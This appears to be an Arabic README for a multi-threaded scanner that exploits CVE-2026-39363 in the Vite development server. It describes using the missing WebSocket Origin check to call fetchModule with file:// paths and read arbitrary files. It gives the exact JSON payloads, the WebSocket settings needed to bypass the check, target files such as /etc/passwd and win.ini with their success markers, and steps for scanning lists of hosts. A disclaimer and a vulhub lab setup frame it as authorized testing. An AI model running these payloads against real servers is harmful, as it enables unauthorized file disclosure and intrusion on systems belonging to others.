
ماسح ثغرات دفعة واحدة لثغرة CVE-2026-39363 في خادم تطوير Vite، يستغل تجاوز التحقق من أصل WebSocket لقراءة ملفات عشوائية عبر fetchModule باستخدام بروتوكول file://.
إخلاء مسؤولية: هذه الأداة مخصصة فقط لاختبارات الأمان المصرح بها والأبحاث التعليمية. يجب على المستخدمين الالتزام بالقوانين واللوائح المحلية، ويُعد فحص أو مهاجمة أنظمة الآخرين دون إذن عملاً غير قانوني. لا يتحمل المؤلف أي مسؤولية عن أي إساءة استخدام.
لا يتحقق خادم تطوير Vite (6.0.0 ~ 6.4.1, 7.0.0 ~ 7.3.1, 8.0.0 ~ 8.0.4) من ترويسة Origin في WebSocket الخاص بـ HMR، ويمكن للمهاجم استدعاء fetchModule عبر حدث vite:invoke، واستخدام بروتوكول file:// مع معامل ?raw لتجاوز قيود server.fs.allow وقراءة أي ملف على الخادم.
url.txt → http://host:port
↓ تحليل host + port
↓
┌─ الخطوة 1: محاولة ws://host:المنفذ المحدد
│ ├─ نجاح مصافحة WebSocket + نجاح الاستغلال → الثغرة موجودة
│ └─ فشل → إذا كان المنفذ المحدد == 5173 → الثغرة غير موجودة
│
└─ الخطوة 3: فحص host:5173 (فقط إذا كان المنفذ المحدد ≠ 5173)
├─ المنفذ مغلق → الثغرة غير موجودة
└─ المنفذ مفتوح → مصافحة WebSocket + استغلال على المنفذ 5173
├─ نجاح → الثغرة موجودة
└─ فشل → الثغرة غير موجودة
pip install -r requirements.txt
لتفعيل البروكسي، قم بإلغاء تعليق السطرين 26-27 من السكربت
# لتفعيل البروكسي، قم بإلغاء تعليق السطرين التاليين واضبط عنوان ومنفذ البروكسي الصحيحين
# os.environ["HTTP_PROXY"] = "http://127.0.0.1:8083"
# os.environ["HTTPS_PROXY"] = "http://127.0.0.1:8083"
اكتب عناوين URL المستهدفة في url.txt، عنوان واحد في كل سطر:
http://192.168.1.100:5173
http://example.com
http://target.cn:8080
python cve_2026_39363.py
الطرفية:
[*] Loaded 3 URL(s), scanning with 3 thread(s)...
http://192.168.1.100:5173 存在漏洞 (Linux)
http://example.com 存在漏洞 (Linux)
http://target.cn:8080 不存在漏洞
[*] Done. 2/3 vulnerable, elapsed 3.2s
[*] Results saved to result.txt
result.txt:
http://192.168.1.100:5173 (Linux)
http://example.com:5173 (Linux)
يحتوي كل سطر على نوع POC (
Linux/Windows)، ويحدد خصائص الملف الذي تمت قراءته بنجاح.
| نظام التشغيل المستهدف | الملف المقروء | العلامة المميزة |
|---|---|---|
| Linux | file:///etc/passwd?raw | root: |
| Windows | file:///C:/Windows/win.ini?raw | for 16-bit app support |
يدعم تنسيقين للحمولة (يتم تجربتهما بالترتيب):
{"id":"send:0","name":"fetchModule","data":[file_path]}{"fn":"fetchModule","args":[file_path]}| المعامل | القيمة | السبب |
|---|---|---|
| البروتوكول الفرعي | vite-hmr | متطلب WebSocket الخاص بـ Vite HMR |
| Origin | إلغاء الإرسال (suppress_origin=True) | يرفض Vite الاتصالات غير القادمة من متصفح مع ترويسة Origin |
# التشغيل
docker run -d --name vite-vuln -p 5173:5173 vulhub/vite:7.3.1
# الفحص
echo "http://127.0.0.1:5173" > url.txt
python cve_2026_39363.py
# التنظيف
docker stop vite-vuln && docker rm vite-vuln
س: جميع الفحوصات ترجع "الثغرة غير موجودة"؟
--host أو server.host للتعرض للشبكةWebSocket غير معطل عبر server.ws: falseس: مخرجات مشوشة على Windows؟
س: ملف url.txt الذي تم إنشاؤه بواسطة PowerShell لا يُحلل؟
utf-8-sig لتخطي BOM تلقائيًا